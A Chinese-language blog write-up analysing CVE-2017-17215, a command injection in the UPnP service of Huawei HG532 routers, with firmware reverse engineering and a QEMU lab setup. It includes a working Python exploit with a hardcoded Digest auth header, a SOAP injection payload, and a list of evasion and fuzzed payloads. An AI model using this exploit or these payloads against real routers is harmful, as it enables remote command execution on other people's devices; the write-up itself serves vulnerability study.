美文网首页
CVE-2017-17215 Huawei Command In

CVE-2017-17215 Huawei Command In

作者: doinb1517 | 来源:发表于2023-01-04 17:24 被阅读0次

    漏洞简介

    CheckPoint报告华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品,经过身份验证的攻击者可以将恶意数据包发送到端口 37215 以发起攻击。成功利用可能导致远程执行任意代码。

    1.png

    漏洞分析

    下载漏洞固件

    link:https://github.com/ray-cp/Vuln_Analysis/find/master

    2.png

    binwalk提取出squashfs文件系统,查看架构发现是mips32位大端程序

    3.png

    找到个EXP如下

    Link:https://github.com/ray-cp/Vuln_Analysis/blob/master/CVE-2017-17125-HG532-Huawei-Command-Injection/exp.py

    #Filename: exp.py
    #Data: 2019-04-14:
    #Author: raycp
    #Description: exp for CVE-2017-17125
    
    
    import requests 
    headers = {
        "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
    }
    
    data = '''<?xml version="1.0" ?>
     <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
       <NewStatusURL>;/bin/busybox mkdir shell;</NewStatusURL>
       <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
      </u:Upgrade>
     </s:Body>
    </s:Envelope>
    '''
    requests.post('http://192.168.204.145:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
    

    可以看到是跑在37215端口的upnp服务造成的,直接找到upnp服务放进IDA中开始分析

    4.png

    二进制文件在bin目录下,etc目录下存了很多xml,找到一个DevUpg.xml

    4.png

    查找字符串NewDownloadURL,只找到一处引用

    4.png

    可以看到很明显的命令注入,猜测函数ATP_XML_GetChildNodeByName是从XML中解析参数,当这两个参数同时存在时拼接命令并执行命令。

    查看交叉引用,发现类似虚表,关于g_astActionArray有三处关键引用

    7.png

    查看

    7.png

    继续查看交叉引用,发现函数ATP_UPNP_RegDeviceAndService(),这里的作用是注册设备和服务,发现了两个服务。一个是更新设备,一个是更新配置。

    7.png

    再看函数UPnPGetActionByName

    10.png

    发现看不懂,看函数名猜测函数作用应该是通过函数名确定执行函数。继续向上查看交叉引用

    找到函数sub_40A9C8,这个函数可以使得访问/ctrul/服务名访问对应的服务

    11.png

    函数UpnpGetServiceByUrl通过url获取服务,将将服务名_index拼接

    14.png

    同时函数sub_409AB4函数是写response的数据

    12.png

    继续向上搜索交叉引用,是sub_40B5B4,这个函数主要是定义一些ssdp协议的返回数据逻辑

    13.png

    继续向上查看交叉引用,分别是ATP_UPNP_Initmain,分析到这里调用链比较清晰了

    main -> ATP_UPNP_Init -> sub_40B5B4 -> sub_40A9C8 -> UPnPGetActionByName
    

    漏洞环境搭建

    使用qemu system搭建漏洞环境,下载镜像

    https://people.debian.org/~aurel32/qemu/mips/

    15.png

    运行下面的网络设置脚本给网口br0分配ip

    #! /bin/sh
    sudo brctl addbr br0 //创建网桥br0
    sudo brctl addif br0 ens33 //连接到ens33
    sudo ifconfig br0 0.0.0.0 promisc up
    sudo ifconfig ens33 0.0.0.0 promisc up
    sudo dhclient br0
    //给该网桥分配IP地址,此前不能给ens33分配ipv4的地址
     
    sudo tunctl -t tap0 -u root
    sudo brctl addif br0 tap0
    sudo ifconfig tap0 0.0.0.0 promisc up
    sudo brctl showstp br0
    

    查看Ubuntu网络,这时ubuntu也是可以访问外网的。

    16.png

    开启qemu虚拟机,使用root/root登陆系统,这时qemu有网络且可以访问外网

    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
    
    17.png

    使用scp指令,把文件系统都传递给qemu虚拟机

    scp -r squashfs-root root@192.168.146.137:~/sqashfs-root
    

    挂载devproc

    mount -o bind /dev ./squashfs-root/dev
    mount -t proc /proc ./squashfs-root/proc
    

    新建ssh链接到qemu虚拟机,然后改变目录,运行upnp和mic服务(这里用ssh很重要,如果在原来qemu的shell执行命令,运行完mic会让eth0网卡掉,没有ip,再使用ssh也就连不上了)

    19.png

    查看端口确定两个服务正常执行

    21.png

    这时查看qemu的ip,这时发现ip被改为了192.168.1.1

    20.png

    为了方便外部访问web页面,用ifconfig将eth0接口的ip改成原来的(我这边是192.168.204.145)。使用exp创建success目录,可以看到命令执行成功

    22.png

    流量特征

    pcap.png

    经过尝试使用以下payload也可执行成功

    <NewStatusURL>|/bin/busybox mkdir success|</NewStatusURL>
    <NewStatusURL>||/bin/busybox mkdir success||</NewStatusURL>
    <NewStatusURL>; /'b'in/busybox mkdir success; </NewStatusURL>
    # 插入大量垃圾数据 绕过
    <NewStatusURL>|jsjidshijkijuhugyugfygftyfytftyftyf|/bin/busybox mkdir success|</NewStatusURL>
    

    编写rce fuzz脚本进行fuzz又找到以下的payload

    index:13 payload:`/bin/busybox mkdir success13`
    index:16 payload:;/bin/busybox mkdir success16|
    index:19 payload:|/bin/busybox mkdir success19|
    index:21 payload:||/bin/busybox mkdir success21|
    index:22 payload:||/bin/busybox mkdir success22;
    index:23 payload:|/bin/busybox mkdir success23;
    index:24 payload:||/bin/busybox mkdir success24||
    index:3 payload:;/bin/busybox mkdir success3;
    index:58 payload:, `/bin/busybox mkdir success58`
    index:59 payload:| `/bin/busybox mkdir success59`
    index:61 payload:; `/bin/busybox mkdir success61`
    index:64 payload:, `/bin/busybox mkdir success64` #
    index:65 payload:| `/bin/busybox mkdir success65` #
    index:66 payload:; `/bin/busybox mkdir success66` #
    index:73 payload:a;/bin/busybox mkdir success73;
    
    23.png

    并且将payload放在<NewDownloadURL>同样可以执行命令

    <NewDownloadURL>; /'b'in/busybox mkdir success; </NewDownloadURL>
    

    相关文章

      网友评论

          本文标题:CVE-2017-17215 Huawei Command In

          本文链接:https://www.haomeiwen.com/subject/nyzrcdtx.html